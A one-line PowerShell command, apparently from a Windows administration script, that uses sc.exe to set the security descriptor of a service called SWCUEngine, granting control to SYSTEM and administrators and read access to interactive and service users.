& $env:SystemRoot\System32\sc.exe sdset SWCUEngine "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
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